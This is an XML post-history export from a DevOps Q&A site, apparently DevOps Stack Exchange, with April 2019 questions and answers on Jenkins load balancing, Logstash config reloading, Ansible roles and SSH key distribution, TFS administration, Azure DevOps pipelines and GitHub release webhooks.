  <row Id="21647" PostHistoryTypeId="1" PostId="6827" RevisionGUID="7cba18d0-cf4f-47f4-9726-98ac8c782b55" CreationDate="2019-04-09T07:36:18.193" UserId="12430" Text="Load Balancing of Jenkins Nodes without Load Balancing Plugin?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21648" PostHistoryTypeId="3" PostId="6827" RevisionGUID="7cba18d0-cf4f-47f4-9726-98ac8c782b55" CreationDate="2019-04-09T07:36:18.193" UserId="12430" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;load-balance&gt;&lt;jenkins2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21649" PostHistoryTypeId="5" PostId="6827" RevisionGUID="4e9da61b-3500-4165-8cd1-128c4110d06d" CreationDate="2019-04-09T07:45:34.250" UserId="12430" Comment="added 2 characters in body" Text="we currently want to introduce a loadbalancing on the Jenkins server and our nodes. I have already created several nodes.&#xD;&#xA;&#xD;&#xA;Currently it is also so that if a node is blocked accordingly, that the next free option is chosen. But only if a node is issued. Unfortunately, this is only part of what the whole task looks like.&#xD;&#xA;&#xD;&#xA;Task to be solved:&#xD;&#xA;&#xD;&#xA;- If a node is under load, the next free option should be selected automatically.&#xD;&#xA;&#xD;&#xA;- If a node is issued, then the next inactive node should be taken.&#xD;&#xA;&#xD;&#xA;Problem:&#xD;&#xA;&#xD;&#xA;For security reasons, you do not want us to use the loadbalancing plugin. So there has to be a solution that we have through a script or some other solution" ContentLicense="CC BY-SA 4.0" />
  <row Id="21650" PostHistoryTypeId="2" PostId="6828" RevisionGUID="2d8582a4-23e5-4b47-bab1-ad9d11e0dfc1" CreationDate="2019-04-09T11:09:34.480" UserId="13360" Text="I have an application (Logstash) running on a Linux VM and the settings for it are on a GitLab repo. What I want is for the VM to pull the latest version of the settings file and restart the service when I push an update to the repo.&#xD;&#xA;&#xD;&#xA;What is the easiest way of achieving this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21651" PostHistoryTypeId="1" PostId="6828" RevisionGUID="2d8582a4-23e5-4b47-bab1-ad9d11e0dfc1" CreationDate="2019-04-09T11:09:34.480" UserId="13360" Text="How do I automate the process of pulling the latest code and restarting a service on git push?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21652" PostHistoryTypeId="3" PostId="6828" RevisionGUID="2d8582a4-23e5-4b47-bab1-ad9d11e0dfc1" CreationDate="2019-04-09T11:09:34.480" UserId="13360" Text="&lt;git&gt;&lt;gitlab&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21653" PostHistoryTypeId="2" PostId="6829" RevisionGUID="46067474-8171-4efc-a244-e11ff3e4d391" CreationDate="2019-04-09T11:55:02.783" UserId="10599" Text="[Google free cloud computing course][1] says:&#xD;&#xA;&#xD;&#xA;&gt; The US National Institute of Standards and Technology created a&#xD;&#xA;&gt; definition of cloud, although, there is nothing US specific about it.&#xD;&#xA;&gt; Here it is, cloud computing is a way of using I.T. that has these five&#xD;&#xA;&gt; equally important traits. First, you get computing resources on-demand&#xD;&#xA;&gt; and self-service. All you have to do is use a simple interface and you&#xD;&#xA;&gt; get the processing power, storage, and network you need, with no need&#xD;&#xA;&gt; for human intervention. Second, you access these resources over the&#xD;&#xA;&gt; net from anywhere you want. Third, the provider of those resources has&#xD;&#xA;&gt; a big pool of them and allocates them to customers out of that pool.&#xD;&#xA;&gt; That allows the provider to get economies of scale by buying in bulk&#xD;&#xA;&gt; and pass the savings on to the customers. Customers don't have to know&#xD;&#xA;&gt; or care about the exact physical location of those resources. Fourth,&#xD;&#xA;&gt; the resources are elastic. If you need more resources you can get&#xD;&#xA;&gt; more, rapidly. If you need less, you can scale back. And last, the&#xD;&#xA;&gt; customers pay only for what they use or reserve as they go. If they&#xD;&#xA;&gt; stop using resources, they stop paying.&#xD;&#xA;&#xD;&#xA;This seems to be taken from the document at https://www.nist.gov/news-events/news/2011/10/final-version-nist-cloud-computing-definition-published&#xD;&#xA;&#xD;&#xA;Using DevOps software with virtual machines, with or without containers, can happen off the cloud. In a similar manner, you can open a corporate account on a public cloud and not do DevOps at all. This happens more than we might expect when big companies are migrating legacy systems into the cloud where they simply have sysadmins or other Ops folks use the web interfaces to cloud IaaS to manually commission VMs that they then manually configure. That actually happens more often that you might expect when large firms are moving legacy systems into the cloud to save money. I have met teams that are convinced that they are doing DevOps when they are simply doing Ops with a few specialist Cloud Engineers who handle resource provisioning.&#xD;&#xA;&#xD;&#xA;IMHO cloud and devops are most definitely not the same thing but are at their best when combined. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.coursera.org/learn/gcp-fundamentals" ContentLicense="CC BY-SA 4.0" />
  <row Id="21654" PostHistoryTypeId="2" PostId="6830" RevisionGUID="7f33badf-90e6-402c-82b9-92c24f1294d4" CreationDate="2019-04-09T11:58:33.450" UserId="13" Text="There's no &quot;easiest&quot; way per se, there's the better way for you.&#xD;&#xA;I'd recommend using a configuration management tool like Chef or Puppet (for a pull model) for which there's already resources to configure and handle logstash restarts.&#xD;&#xA;&#xD;&#xA;That said logstash is able to watch its config file and reload it itself, quoting elastic.co documentation:&#xD;&#xA;&#xD;&#xA;&gt; Starting with Logstash 2.3, you can set Logstash to detect and reload configuration changes automatically.&#xD;&#xA;&#xD;&#xA;&gt; To enable automatic config reloading, start Logstash with the `--config.reload.automatic` (or `-r`) command-line option specified. For example:&#xD;&#xA;&#xD;&#xA;&gt;     bin/logstash –f apache.config --config.reload.automatic&#xD;&#xA;&#xD;&#xA;So you may just set a crontab to `git pull` your repository periodically and have logstash reload itself.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21655" PostHistoryTypeId="2" PostId="6831" RevisionGUID="f32deb8a-0a8f-4455-ab2e-f3d272fcb72e" CreationDate="2019-04-09T13:13:10.790" UserId="13365" Text="I adapted a python script for having an OS independant solution: [docker-drag][1]&#xD;&#xA;&#xD;&#xA;Use it like that, and it will create a TAR archive that you will be able to import using docker load :&#xD;&#xA;&#xD;&#xA;    python docker_pull.py hello-world&#xD;&#xA;    python docker_pull.py alpine:3.9&#xD;&#xA;    python docker_pull.py kalilinux/kali-linux-docker&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/NotGlop/docker-drag" ContentLicense="CC BY-SA 4.0" />
  <row Id="21656" PostHistoryTypeId="5" PostId="6831" RevisionGUID="ee292d3d-06b7-4a8c-9ef1-3c22994816e9" CreationDate="2019-04-09T13:17:13.340" UserId="13365" Comment="added 9 characters in body" Text="Here is an adapted python script, thus having an OS independant solution: [docker-drag][1]&#xD;&#xA;&#xD;&#xA;Use it like that, and it will create a TAR archive that you will be able to import using docker load :&#xD;&#xA;&#xD;&#xA;    python docker_pull.py hello-world&#xD;&#xA;    python docker_pull.py alpine:3.9&#xD;&#xA;    python docker_pull.py kalilinux/kali-linux-docker&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/NotGlop/docker-drag" ContentLicense="CC BY-SA 4.0" />
  <row Id="21657" PostHistoryTypeId="2" PostId="6832" RevisionGUID="4f8fb6c9-d249-4387-95c6-0a1998e75b91" CreationDate="2019-04-09T14:56:45.730" UserId="13217" Text="I have a role, let's call it apache2. The role installs apache2 and all of its dependencies.&#xD;&#xA;&#xD;&#xA;Now I have two machines, let's call them M1 and M2. Both M1 and M2 need to have apache2 installed. However, each of them needs their own set of files installed into the web root. So M1.yml looks like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;- hosts: M1&#xD;&#xA;    - role: apache2&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;M2.yml looks like:&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;- hosts: M2&#xD;&#xA;    - role: apache2&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Obviously I can't just put the files into the role's ``files`` directory, as they are different for each. Options of which I am aware:&#xD;&#xA;&#xD;&#xA; 1. Create a ``post_tasks`` section for each playbook that copies over the necessary files and configures the server.&#xD;&#xA; 2. Create a ``copy_files`` role that takes the files as a variable&#xD;&#xA;&#xD;&#xA;The reason I don't like #1 is because I might have a bunch of similar roles (apache2, nginx, ftp, etc.) each of which requires installation and files to be copied over. I'd like to keep each &quot;together&quot;, meaning that the &quot;install apache2&quot; and &quot;copy apache2 files to guest&quot; tasks are both specified near each other in the file.&#xD;&#xA;&#xD;&#xA;The reason I don't like #2 is because it seems heavyweight to basically just wrap a task as a role.&#xD;&#xA;&#xD;&#xA;Is there another option I'm not thinking of? And of the available options, which is considered best practice?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21658" PostHistoryTypeId="1" PostId="6832" RevisionGUID="4f8fb6c9-d249-4387-95c6-0a1998e75b91" CreationDate="2019-04-09T14:56:45.730" UserId="13217" Text="Ansible: Copying different files to different guests for use with the same role" ContentLicense="CC BY-SA 4.0" />
  <row Id="21659" PostHistoryTypeId="3" PostId="6832" RevisionGUID="4f8fb6c9-d249-4387-95c6-0a1998e75b91" CreationDate="2019-04-09T14:56:45.730" UserId="13217" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21660" PostHistoryTypeId="2" PostId="6833" RevisionGUID="93f72160-7171-4e6c-a4ee-f3d087754494" CreationDate="2019-04-09T15:27:00.707" UserId="13217" Text="Another approach that I found uses the ``include_role`` directive. So instead of the playbook being: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;- hosts: M2&#xD;&#xA;  - roles:&#xD;&#xA;    - role: apache2&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;It becomes:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;- hosts: M2&#xD;&#xA;  - tasks:&#xD;&#xA;    - include_role: apache2&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then I can add tasks directly after that apache2 task that configure apache2:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;- hosts: M2&#xD;&#xA;  - tasks:&#xD;&#xA;    - include_role: apache2&#xD;&#xA;&#xD;&#xA;    - copy:&#xD;&#xA;        # etc&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="21661" PostHistoryTypeId="2" PostId="6834" RevisionGUID="f1897a0f-6510-48e2-b908-e51c2986f6d6" CreationDate="2019-04-09T15:44:48.343" UserId="5868" Text="Yes, they mean the [Compute Engine](https://cloud.google.com/compute/). So you pay Google only for API, not for server." ContentLicense="CC BY-SA 4.0" />
  <row Id="21662" PostHistoryTypeId="50" PostId="5399" RevisionGUID="07d4e1e2-d98a-4c78-99e5-1d3873eacff0" CreationDate="2019-04-09T19:01:40.247" UserId="-1" />
  <row Id="21664" PostHistoryTypeId="5" PostId="6829" RevisionGUID="12f4d574-c3ca-4dbc-b051-22a2a81a50b4" CreationDate="2019-04-09T20:45:50.917" UserId="10599" Comment="clarity" Text="[Google free cloud computing course][1] says:&#xD;&#xA;&#xD;&#xA;&gt; The US National Institute of Standards and Technology created a&#xD;&#xA;&gt; definition of cloud, although, there is nothing US specific about it.&#xD;&#xA;&gt; Here it is, cloud computing is a way of using I.T. that has these five&#xD;&#xA;&gt; equally important traits. First, you get computing resources on-demand&#xD;&#xA;&gt; and self-service. All you have to do is use a simple interface and you&#xD;&#xA;&gt; get the processing power, storage, and network you need, with no need&#xD;&#xA;&gt; for human intervention. Second, you access these resources over the&#xD;&#xA;&gt; net from anywhere you want. Third, the provider of those resources has&#xD;&#xA;&gt; a big pool of them and allocates them to customers out of that pool.&#xD;&#xA;&gt; That allows the provider to get economies of scale by buying in bulk&#xD;&#xA;&gt; and pass the savings on to the customers. Customers don't have to know&#xD;&#xA;&gt; or care about the exact physical location of those resources. Fourth,&#xD;&#xA;&gt; the resources are elastic. If you need more resources you can get&#xD;&#xA;&gt; more, rapidly. If you need less, you can scale back. And last, the&#xD;&#xA;&gt; customers pay only for what they use or reserve as they go. If they&#xD;&#xA;&gt; stop using resources, they stop paying.&#xD;&#xA;&#xD;&#xA;This seems to be taken from the document at https://www.nist.gov/news-events/news/2011/10/final-version-nist-cloud-computing-definition-published&#xD;&#xA;&#xD;&#xA;Using DevOps software with virtual machines, with or without containers, can happen without using cloud. In a similar manner, you can open a corporate account on a public cloud and not do DevOps at all. This happens more than we might expect when big companies are migrating legacy systems into the cloud where they simply have sysadmins or other Ops folks use the web interfaces to cloud IaaS to manually commission VMs that they then manually configure. I have met teams that are convinced that they are doing DevOps when they are simply doing Ops with a few specialist Cloud Engineers who handle setting Virtual Private Cloud (VPS) meaning private connectivity into the cloud (e.g, VPN or a dedicated connection) and IAM (Identity and Access Management). &#xD;&#xA;&#xD;&#xA;IMHO cloud and devops are most definitely not the same thing but are at their best when combined. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.coursera.org/learn/gcp-fundamentals" ContentLicense="CC BY-SA 4.0" />
  <row Id="21665" PostHistoryTypeId="50" PostId="1088" RevisionGUID="ae9810ca-99a5-4646-a594-d2f34c43d970" CreationDate="2019-04-09T23:01:50.360" UserId="-1" />
  <row Id="21666" PostHistoryTypeId="2" PostId="6835" RevisionGUID="4e53ca64-e36b-4813-bc81-342f5c9a4759" CreationDate="2019-04-09T23:50:30.127" UserId="13228" Text="Our company uses TFS 2018. We have an annoying issue when there is TFS back-up failed,it sends notifications to hell lot of people which are invalid or unncecessary users. This list is in the domain Admins. I can't delete them manually. Is there a script to delete the users or modify the sending list. please help, Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="21667" PostHistoryTypeId="1" PostId="6835" RevisionGUID="4e53ca64-e36b-4813-bc81-342f5c9a4759" CreationDate="2019-04-09T23:50:30.127" UserId="13228" Text="TFS Back-up Notifications" ContentLicense="CC BY-SA 4.0" />
  <row Id="21668" PostHistoryTypeId="3" PostId="6835" RevisionGUID="4e53ca64-e36b-4813-bc81-342f5c9a4759" CreationDate="2019-04-09T23:50:30.127" UserId="13228" Text="&lt;tfs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21669" PostHistoryTypeId="2" PostId="6836" RevisionGUID="0913c3b0-e1e2-4bd3-a0b3-b8465566d17e" CreationDate="2019-04-10T00:04:09.620" UserId="13112" Text="I believe your primary issue is that you have this group of users in the `[Team Foundation]\Team Foundation Administrators` group or possibly many users added with privileges to the Administration Console Users, which is unusual.  To adjust who is part of the Team Foundation Administrators group:&#xD;&#xA;&#xD;&#xA; 1. RDP to the server that hosts the application tier for your TFS installation&#xD;&#xA; 2. Open the TFS Administration Console&#xD;&#xA; 3. Highlight the Application Tier&#xD;&#xA; 4. Click the Group Membership link&#xD;&#xA; 5. Double-click `[Team Foundation]\Team Foundation Administrators`&#xD;&#xA; 6. Adjust membership of the group&#xD;&#xA;&#xD;&#xA;To learn more about configuring administrators from the TFS Administration console, see [Microsoft's documentation][1] on the topic.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/server/admin/add-administrator?view=azure-devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="21670" PostHistoryTypeId="2" PostId="6837" RevisionGUID="677354ac-a77a-464c-a5b9-c23825c68f91" CreationDate="2019-04-10T00:18:31.483" UserId="13112" Text="It's recommended that you use a convention of prefixing your grouped references (like branches) with &quot;folder&quot; prefixes.&#xD;&#xA;&#xD;&#xA;For example, when you create sprint branches, create them with the names:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;sprints/sprint01&#xD;&#xA;sprints/sprint02&#xD;&#xA;sprints/sprint03&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then, configure your build trigger `Include` filters with this prefix:&#xD;&#xA;&#xD;&#xA;`sprints/*`&#xD;&#xA;&#xD;&#xA;... and then an `Exclude` filter for `master`, since by default it is also included.&#xD;&#xA;&#xD;&#xA;Once configured, this should build only the sprint branch (topic branch) that was committed to.&#xD;&#xA;&#xD;&#xA;Reference: https://docs.microsoft.com/en-us/azure/devops/pipelines/build/ci-build-git?view=azure-devops&amp;tabs=designer" ContentLicense="CC BY-SA 4.0" />
  <row Id="21671" PostHistoryTypeId="2" PostId="6838" RevisionGUID="ceff2afb-7bd1-44a5-a1fc-a6e9a1bc17e8" CreationDate="2019-04-10T00:27:33.007" UserId="13112" Text="There are actually many ways to link work items to other objects in Azure DevOps.  [Microsoft's documentation][1] is pretty extensive on this topic.  However, for the particular task at hand, linking code commits (I'll assume Git is in use for this example), can be done in several different ways.&#xD;&#xA;&#xD;&#xA; 1. In your commit message - By including the work item ID in the commit message prefixed with the hash mark `#` (i.e. `#12345`), when the commit is pushed to the server, the work item and commit are linked automatically.  Then, when this commit is part of a pull request that is created, the linkage is made visible as part of the pull request.&#xD;&#xA;&#xD;&#xA; 2. [Within the pull request][2] during creation, or afterward when edited by the creator, you can add work items directly to the pull request by searching either by ID or by keywords.&#xD;&#xA;&#xD;&#xA; 3. [Several other methods][1] can be discovered through editing a work item or right in Visual Studio.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/boards/queries/link-work-items-support-traceability?view=azure-devops&amp;tabs=new-web-form#work-items-linked-to-git-code-development&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/repos/git/pull-requests?view=azure-devops#add-detail-to-your-pull-request" ContentLicense="CC BY-SA 4.0" />
  <row Id="21672" PostHistoryTypeId="2" PostId="6839" RevisionGUID="7b654d2f-b626-401f-bd0d-4d55a37843ea" CreationDate="2019-04-10T01:21:44.870" UserId="13112" Text="Since on-premise TFS and the newly renamed Azure DevOps Server 2019 still have the concept of collections, which is the highest level of separation of data you can have (separate physical databases), you'd need to treat a code repo in Collection 1 as an external repository rather than try to discover it as a known internal repository.&#xD;&#xA;&#xD;&#xA;You can do this in the Build pipeline of a build in Collection 2 by selecting External Git (if your repo is Git, TFVC is not supported), then clicking `Add Connection` and entering the Git repository URL and login credentials like in the screenshot below.  Once connected, your pipeline, if it produces artifacts, will store them in Collection 2, which can be used for a Release pipeline.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/BO5c3.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="21676" PostHistoryTypeId="5" PostId="6796" RevisionGUID="db5e643f-41a6-4492-9df6-064e02467449" CreationDate="2019-04-10T04:24:08.623" UserId="1132" Comment="added 351 characters in body" Text="The swarm uses the normal docker API, thus any software which can communicate with docker, including the command line docker client, can also use a swarm.&#xD;&#xA;&#xD;&#xA;Most use cases heavily utilize the feature of the transparent communication of the containers between the docker hosts. Additionally, it simplifies deployment to multiple hosts and provides HA." ContentLicense="CC BY-SA 4.0" />
  <row Id="21677" PostHistoryTypeId="24" PostId="6796" RevisionGUID="db5e643f-41a6-4492-9df6-064e02467449" CreationDate="2019-04-10T04:24:08.623" Comment="Proposed by 1132 approved by 40, 228 edit id of 972" ContentLicense="CC BY-SA 4.0" />
  <row Id="21678" PostHistoryTypeId="5" PostId="6797" RevisionGUID="6e224229-6675-41a4-a5a0-189863a403aa" CreationDate="2019-04-10T04:24:21.340" UserId="1132" Comment="added 90 characters in body" Text="Part of the docker software suite to cluster docker servers into a single virtual service." ContentLicense="CC BY-SA 4.0" />
  <row Id="21679" PostHistoryTypeId="24" PostId="6797" RevisionGUID="6e224229-6675-41a4-a5a0-189863a403aa" CreationDate="2019-04-10T04:24:21.340" Comment="Proposed by 1132 approved by 40, 228 edit id of 973" ContentLicense="CC BY-SA 4.0" />
  <row Id="21680" PostHistoryTypeId="2" PostId="6841" RevisionGUID="336a53a6-0579-4f07-b52d-e46048c127b7" CreationDate="2019-04-10T05:33:49.167" UserId="10599" Text="[Here][1] is a Webhook rule to catch Github release events. It is run by [adnanh/webhook][2] which is a small go app that can run your deployments script. You then configure GitHub to send release events as per this screenshot:&#xA;&#xA;[![enter image description here][3]][3]&#xA;&#xA;You can then use the github [hub][4] command line tool to create releases with a name that matches the regex in the hook rule e.g., `v1.2.3`. That will fire the release webhook. That can be caught by your deploy script running in a container on your server. Your deploy script can take the release number parsed from release event payload. You deploy script can then git pull the git tag to run your code. &#xA;&#xA;Using such webhook is how [OCD][5] can drive kubernetes from GitHub. We have it deploy our apps on AWS based on configuration and tags in GitHub. You can use the same techniques to drive a small deployment quite easily. All you need to do is create docker container with adnanh/webhook, the json config and your deploy script. [Here][6] is a where we install webhook into a container and [here][7] is where we copy our rules. &#xA;&#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-environment-webhook/blob/master/hooks-release.json&#xA;  [2]: https://github.com/adnanh/webhook&#xA;  [3]: https://i.stack.imgur.com/4Tu0E.png&#xA;  [4]: https://github.com/github/hub&#xA;  [5]: https://github.com/ocd-scm/ocd-meta&#xA;  [6]: https://github.com/ocd-scm/ocd-tools/blob/33791b92bb202f593dea1001a7ea802adad646a9/Dockerfile#L51&#xA;  [7]: https://github.com/ocd-scm/ocd-environment-webhook/blob/6d9c3904929b7b8a6e9fd2883bce5b40f43952d3/Dockerfile#L14" ContentLicense="CC BY-SA 4.0" />
  <row Id="21681" PostHistoryTypeId="5" PostId="6841" RevisionGUID="6f308673-1342-468d-bc82-d7528835a200" CreationDate="2019-04-10T05:47:41.383" UserId="10599" Comment="added 159 characters in body; added 29 characters in body" Text="[Here][1] is a Webhook rule to catch Github release events and run a custom bash script. It is run by [adnanh/webhook][2] which is a small go app that can run your deployments script. You then configure GitHub to send release events as per this screenshot:&#xA;&#xA;[![enter image description here][3]][3]&#xA;&#xA;You can then use the github [hub][4] command line tool to create releases with a name that matches the regex in the hook rule e.g., `v1.2.3`. That will fire the release webhook. That can be caught by your deploy script running in a container on your server. Your deploy script can take the release number parsed from release event payload. You deploy script can then git pull the git tag to run your code. &#xA;&#xA;Using similar webhooks is how [OCD][5] can drive kubernetes from configuration in GitHub. We have OCD deploy all our apps on AWS based on configuration and tags in GitHub. You can use the same techniques to drive your small deployment scripts quite easily. All you need to do is create docker container with adnanh/webhook, the json config and your deploy script. [Here][6] is a where we install webhook into a container and [here][7] is where we copy our rules. As it is a go app it doesn’t need a lot of memory to be able to fully automate your software based on git release events. &#xA;&#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-environment-webhook/blob/master/hooks-release.json&#xA;  [2]: https://github.com/adnanh/webhook&#xA;  [3]: https://i.stack.imgur.com/4Tu0E.png&#xA;  [4]: https://github.com/github/hub&#xA;  [5]: https://github.com/ocd-scm/ocd-meta&#xA;  [6]: https://github.com/ocd-scm/ocd-tools/blob/33791b92bb202f593dea1001a7ea802adad646a9/Dockerfile#L51&#xA;  [7]: https://github.com/ocd-scm/ocd-environment-webhook/blob/6d9c3904929b7b8a6e9fd2883bce5b40f43952d3/Dockerfile#L14" ContentLicense="CC BY-SA 4.0" />
  <row Id="21682" PostHistoryTypeId="2" PostId="6842" RevisionGUID="aa12a794-cc83-4f68-8a25-b1c30437a72c" CreationDate="2019-04-10T07:20:47.833" UserId="13379" Text="This is similar to:&#xD;&#xA;https://stackoverflow.com/questions/55023570/how-to-run-a-job-on-first-available-node/55567958&#xD;&#xA;&#xD;&#xA;Have you considered Least Load plugin?&#xD;&#xA;&#xD;&#xA;https://plugins.jenkins.io/leastload&#xD;&#xA;&#xD;&#xA;By default Jenkins tries to allocate a jobs to the last node is was executed on. This can result in nodes being left idle while other nodes are overloaded. This plugin overrides the default behavior and assigns jobs to nodes with the least load.&#xD;&#xA;&#xD;&#xA;Don't imagine there's a security issue there." ContentLicense="CC BY-SA 4.0" />
  <row Id="21683" PostHistoryTypeId="5" PostId="6792" RevisionGUID="8e9e60db-1311-4a86-bd72-f2f9780d7d4b" CreationDate="2019-04-10T07:25:35.303" UserId="1133" Comment="added 117 characters in body" Text="    ---&#xD;&#xA;    # tasks file for passwordless&#xD;&#xA;    - name: Play to setup Passowrdless&#xD;&#xA;      remote_user: &quot;{{ ssh_user }}&quot;&#xD;&#xA;      vars_prompt:&#xD;&#xA;        - name: &quot;ssh_user&quot;&#xD;&#xA;          prompt: &quot;Please specify ssh user name&quot;&#xD;&#xA;          private: no&#xD;&#xA;      hosts: all&#xD;&#xA;      tasks:&#xD;&#xA;      - name: Get pub key value from edgenode&#xD;&#xA;        #hosts: edgenode&#xD;&#xA;        command:&#xD;&#xA;          cat $HOME/.ssh/id_rsa.pub&#xD;&#xA;        register: pubkey&#xD;&#xA;        changed_when: false&#xD;&#xA;        when: &quot;'group_edgenode' in  group_names&quot;&#xD;&#xA;    &#xD;&#xA;      - name: Print copyout value&#xD;&#xA;        debug:&#xD;&#xA;          msg: &quot;{{ pubkey.stdout }}&quot;&#xD;&#xA;        when: &quot;'group_edgenode' in  group_names&quot;&#xD;&#xA;    &#xD;&#xA;      - name: Append pub key value to datanodes&#xD;&#xA;        #hosts: datanode&#xD;&#xA;        lineinfile:&#xD;&#xA;          path: $HOME/.ssh/authorized_keys&#xD;&#xA;          #line: &quot;{{ pubkey.stdout }}&quot;&#xD;&#xA;          #line: &quot;{{ hostvars['192.168.0.103']['pubkey']['stdout'] }}&quot;&#xD;&#xA;          line: &quot;{{ hostvars[item]['pubkey']['stdout'] }}&quot;&#xD;&#xA;          #line: &quot;{{ groups['group_datanode'] | map('extract',hostvars, stdout) }}&quot;&#xD;&#xA;          state: present&#xD;&#xA;          owner: &quot;{{ ssh_user }}&quot;&#xD;&#xA;          #group: domain&#xD;&#xA;          mode: 0600&#xD;&#xA;          backup: yes&#xD;&#xA;          insertafter: EOF&#xD;&#xA;        #when: inventory_hostname in groups['datanode']&#xD;&#xA;        with_items: &quot;{{ groups['group_edgenode'] }}&quot;&#xD;&#xA;        when: &quot;'group_datanode' in  group_names&quot;&#xD;&#xA;&#xD;&#xA;In this solution edgenodes are ServerA while datanodes are ServerB.&#xD;&#xA;Its tested and is working fine." ContentLicense="CC BY-SA 4.0" />
  <row Id="21685" PostHistoryTypeId="2" PostId="6843" RevisionGUID="b5f94e34-5de8-4f20-a552-0dfe3be1db91" CreationDate="2019-04-10T07:33:37.257" UserId="13378" Text="I'm learning ansible and I'm having a problem, when I run my playbook, it only runs the gather_fact task and does not play my roles.  On the other hand when I run just a module with the ansible command -m or playing the playbook locally, there my roles are played. Do you have an idea ? I posted the question on the google group, but for the moment no answers. thank you in advance" ContentLicense="CC BY-SA 4.0" />
  <row Id="21686" PostHistoryTypeId="1" PostId="6843" RevisionGUID="b5f94e34-5de8-4f20-a552-0dfe3be1db91" CreationDate="2019-04-10T07:33:37.257" UserId="13378" Text="ansible does not play roles and tasks" ContentLicense="CC BY-SA 4.0" />
  <row Id="21687" PostHistoryTypeId="3" PostId="6843" RevisionGUID="b5f94e34-5de8-4f20-a552-0dfe3be1db91" CreationDate="2019-04-10T07:33:37.257" UserId="13378" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21689" PostHistoryTypeId="10" PostId="6637" RevisionGUID="5b9ce0c7-de23-46f4-95cb-13c90c127583" CreationDate="2019-04-10T08:55:25.780" UserId="46" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="21690" PostHistoryTypeId="10" PostId="6690" RevisionGUID="02d9dcfc-c11d-423f-b657-965ae609db7b" CreationDate="2019-04-10T08:55:36.837" UserId="46" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="21692" PostHistoryTypeId="10" PostId="6681" RevisionGUID="e6c56c69-d527-49d0-9a26-32e2530bfaa9" CreationDate="2019-04-10T08:55:52.643" UserId="46" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="21698" PostHistoryTypeId="2" PostId="6845" RevisionGUID="4601c479-20ab-4086-9ee2-c8ea4364a563" CreationDate="2019-04-10T14:00:09.490" UserId="13391" Text="Not sure if you did, but put the vars into double quotes:&#xD;&#xA;&#xD;&#xA;    ... &quot;${BUILD_CAUSE}&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21699" PostHistoryTypeId="5" PostId="6841" RevisionGUID="3a5df872-f80e-45a4-82cd-4ff8e9307e10" CreationDate="2019-04-10T15:07:00.087" UserId="10599" Comment="added 13 characters in body" Text="[Here][1] is a Webhook rule to catch Github release events and run a custom bash script. It is run by [adnanh/webhook][2] which is a small go app that can run your deployments script. You then configure GitHub to send release events as per this screenshot:&#xA;&#xA;[![enter image description here][3]][3]&#xA;&#xA;You can then use the github [hub][4] command line tool to create releases with a name that matches the regex in the hook rule e.g., `v1.2.3`. That will fire the release webhook. That can be caught by your deploy script running in a container on your server. Your deploy script can take the release number parsed from the release event payload. You deploy script can then git pull the git tag `v1.2.3` to run your code. &#xA;&#xA;Using similar webhooks is how [OCD][5] can drive kubernetes from configuration in GitHub. We have OCD deploy all our apps on AWS based on configuration and tags in GitHub. You can use the same techniques to drive your small deployment scripts quite easily. All you need to do is create docker container with adnanh/webhook, the json config and your deploy script. [Here][6] is a where we install webhook into a container and [here][7] is where we copy our rules. As it is a go app it doesn’t need a lot of memory to be able to fully automate your software based on git release events. 